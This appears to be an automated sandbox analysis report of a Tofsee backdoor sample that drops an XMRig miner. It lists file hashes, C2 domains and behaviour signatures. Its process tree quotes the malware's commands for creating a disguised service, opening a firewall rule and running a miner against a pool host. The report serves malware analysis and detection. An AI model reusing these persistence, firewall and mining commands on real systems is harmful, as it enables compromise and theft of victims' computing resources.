Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2023 15:42

General

  • Target

    file.exe

  • Size

    303KB

  • MD5

    531df55984e2b66ad9f0dbd639de601e

  • SHA1

    dc9d0df60d45c19e668e99a39946d1d39a5d9a09

  • SHA256

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f

  • SHA512

    1a2029171755e8c7f4f374af5544eef317a0d1635272991b7535f4406a99b4ef5d70985602fd85c8b9eb40de2215c81be496157821f78a013cea74ad2848e72b

  • SSDEEP

    3072:MuFL7HO/Wc2L/rIUpqfM/FqdAt/XOM5TJDTnmhd+:xFL7HQ2LrI7fg2AtXJnmv+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\krpwphka\
      2⤵
        PID:1156
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe" C:\Windows\SysWOW64\krpwphka\
        2⤵
          PID:3000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create krpwphka binPath= "C:\Windows\SysWOW64\krpwphka\zplavnlt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description krpwphka "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start krpwphka
          2⤵
          • Launches sc.exe
          PID:3456
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 656
          2⤵
          • Program crash
          PID:3324
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4124 -ip 4124
        1⤵
          PID:4176
        • C:\Windows\SysWOW64\krpwphka\zplavnlt.exe
          C:\Windows\SysWOW64\krpwphka\zplavnlt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2028
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2412
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3356
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 532
            2⤵
            • Program crash
            PID:1928
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2028 -ip 2028
          1⤵
            PID:3812

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\zplavnlt.exe

            Filesize

            11.7MB

            MD5

            19b04874ed70e10669a95e4fd61abe7a

            SHA1

            5b5fac26a3903fae07819b7187548730c74675a4

            SHA256

            762da4736d86acc322de81b82b040063f0af8edaa57b7494c4f16e4301d0736d

            SHA512

            4590f3367474a14259b69b545d19f2d0423c0f598dc6b39e663bf4b0ac383e67bfa366adc6c0ea70a281d44f5e44082d92c78f3d6c187615a86fd2c505d85262

          • C:\Windows\SysWOW64\krpwphka\zplavnlt.exe

            Filesize

            11.7MB

            MD5

            19b04874ed70e10669a95e4fd61abe7a

            SHA1

            5b5fac26a3903fae07819b7187548730c74675a4

            SHA256

            762da4736d86acc322de81b82b040063f0af8edaa57b7494c4f16e4301d0736d

            SHA512

            4590f3367474a14259b69b545d19f2d0423c0f598dc6b39e663bf4b0ac383e67bfa366adc6c0ea70a281d44f5e44082d92c78f3d6c187615a86fd2c505d85262

          • memory/2028-142-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/2028-149-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/2412-169-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-152-0x0000000000840000-0x0000000000855000-memory.dmp

            Filesize

            84KB

          • memory/2412-173-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-147-0x0000000000840000-0x0000000000855000-memory.dmp

            Filesize

            84KB

          • memory/2412-148-0x0000000000840000-0x0000000000855000-memory.dmp

            Filesize

            84KB

          • memory/2412-188-0x0000000001BF0000-0x0000000001BF7000-memory.dmp

            Filesize

            28KB

          • memory/2412-150-0x0000000000840000-0x0000000000855000-memory.dmp

            Filesize

            84KB

          • memory/2412-172-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-153-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2412-156-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/2412-157-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

            Filesize

            24KB

          • memory/2412-160-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-171-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-164-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-165-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-166-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-167-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-168-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-187-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/2412-170-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-163-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-184-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/2412-144-0x0000000000840000-0x0000000000855000-memory.dmp

            Filesize

            84KB

          • memory/2412-174-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-175-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-176-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-177-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-178-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-179-0x0000000001BD0000-0x0000000001BE0000-memory.dmp

            Filesize

            64KB

          • memory/2412-180-0x0000000001BE0000-0x0000000001BE5000-memory.dmp

            Filesize

            20KB

          • memory/2412-183-0x0000000001BE0000-0x0000000001BE5000-memory.dmp

            Filesize

            20KB

          • memory/3356-192-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-197-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-198-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-199-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-201-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-202-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-203-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/3356-200-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/4124-139-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/4124-134-0x0000000000BC0000-0x0000000000BD3000-memory.dmp

            Filesize

            76KB

          • memory/4124-140-0x0000000000BC0000-0x0000000000BD3000-memory.dmp

            Filesize

            76KB